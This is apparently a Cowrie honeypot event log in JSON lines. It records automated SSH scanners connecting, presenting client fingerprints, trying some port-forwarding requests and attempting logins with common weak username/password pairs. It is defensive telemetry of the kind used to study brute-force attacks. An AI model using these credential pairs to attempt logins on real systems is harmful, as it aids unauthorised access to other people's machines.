{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:53.027909Z","src_ip":"73.36.177.174","session":"737d61506463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:53.706438Z","src_ip":"45.153.34.195","session":"dd7d1f691a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":35506,"dst_ip":"159.203.135.109","dst_port":22,"session":"62fef1b3f401","protocol":"ssh","message":"New connection: 201.17.146.173:35506 (159.203.135.109:22) [session: 62fef1b3f401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:53.742190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:53.746988Z","src_ip":"201.17.146.173","session":"62fef1b3f401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:53.928941Z","src_ip":"201.17.146.173","session":"62fef1b3f401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:54.076006Z","src_ip":"73.36.177.174","session":"737d61506463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15234,"dst_ip":"10.17.0.5","dst_port":22,"session":"86fef2021fe9","protocol":"ssh","message":"New connection: 45.153.34.195:15234 (10.17.0.5:22) [session: 86fef2021fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:55.114539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:55.151744Z","src_ip":"45.153.34.195","session":"86fef2021fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:55.238497Z","src_ip":"45.153.34.195","session":"86fef2021fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:55.576375Z","src_ip":"45.153.34.195","session":"86fef2021fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:56.674664Z","src_ip":"45.153.34.195","session":"86fef2021fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warango","password":"123456","message":"login attempt [warango/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:56.789961Z","src_ip":"201.17.146.173","session":"62fef1b3f401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15248,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc369631db9a","protocol":"ssh","message":"New connection: 45.153.34.195:15248 (10.17.0.5:22) [session: cc369631db9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:57.856403Z"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:57.928966Z","src_ip":"201.17.146.173","session":"62fef1b3f401","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:57.933349Z","src_ip":"45.153.34.195","session":"cc369631db9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.305633306503296,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:57.969360Z","src_ip":"128.199.8.54","session":"97e2e49e92f3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:58.166569Z","src_ip":"45.153.34.195","session":"cc369631db9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc","message":"login attempt [root/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:58.667023Z","src_ip":"45.153.34.195","session":"cc369631db9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:59.884341Z","src_ip":"45.153.34.195","session":"cc369631db9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":38634,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcbccb8ce98c","protocol":"ssh","message":"New connection: 150.136.214.177:38634 (10.17.0.5:22) [session: fcbccb8ce98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.427023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.434105Z","src_ip":"150.136.214.177","session":"fcbccb8ce98c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.461093Z","src_ip":"150.136.214.177","session":"fcbccb8ce98c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sistema","password":"sistema","message":"login attempt [sistema/sistema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.599946Z","src_ip":"150.136.214.177","session":"fcbccb8ce98c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15258,"dst_ip":"10.17.0.5","dst_port":22,"session":"b82b0294223d","protocol":"ssh","message":"New connection: 45.153.34.195:15258 (10.17.0.5:22) [session: b82b0294223d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.816325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.829678Z","src_ip":"45.153.34.195","session":"b82b0294223d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:00.918540Z","src_ip":"45.153.34.195","session":"b82b0294223d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:01.464829Z","src_ip":"45.153.34.195","session":"b82b0294223d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:01.637558Z","src_ip":"150.136.214.177","session":"fcbccb8ce98c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:02.549587Z","src_ip":"45.153.34.195","session":"b82b0294223d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22928,"dst_ip":"10.17.0.5","dst_port":22,"session":"a325e116fda0","protocol":"ssh","message":"New connection: 45.153.34.195:22928 (10.17.0.5:22) [session: a325e116fda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:03.782295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:03.787971Z","src_ip":"45.153.34.195","session":"a325e116fda0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:03.869472Z","src_ip":"45.153.34.195","session":"a325e116fda0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"p@ssw0rd","message":"login attempt [student/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:04.124374Z","src_ip":"45.153.34.195","session":"a325e116fda0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:05.208524Z","src_ip":"45.153.34.195","session":"a325e116fda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d53ac6557e97","protocol":"ssh","message":"New connection: 45.153.34.195:22936 (10.17.0.5:22) [session: d53ac6557e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:06.685969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:06.691472Z","src_ip":"45.153.34.195","session":"d53ac6557e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:06.772939Z","src_ip":"45.153.34.195","session":"d53ac6557e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1","message":"login attempt [dev/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:07.024179Z","src_ip":"45.153.34.195","session":"d53ac6557e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51095,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59d5a730662","protocol":"ssh","message":"New connection: 113.164.152.20:51095 (10.17.0.5:22) [session: f59d5a730662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:07.137612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:07.142748Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:07.457224Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:08.106726Z","src_ip":"45.153.34.195","session":"d53ac6557e97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.241105Z","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.245410Z","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.304282Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
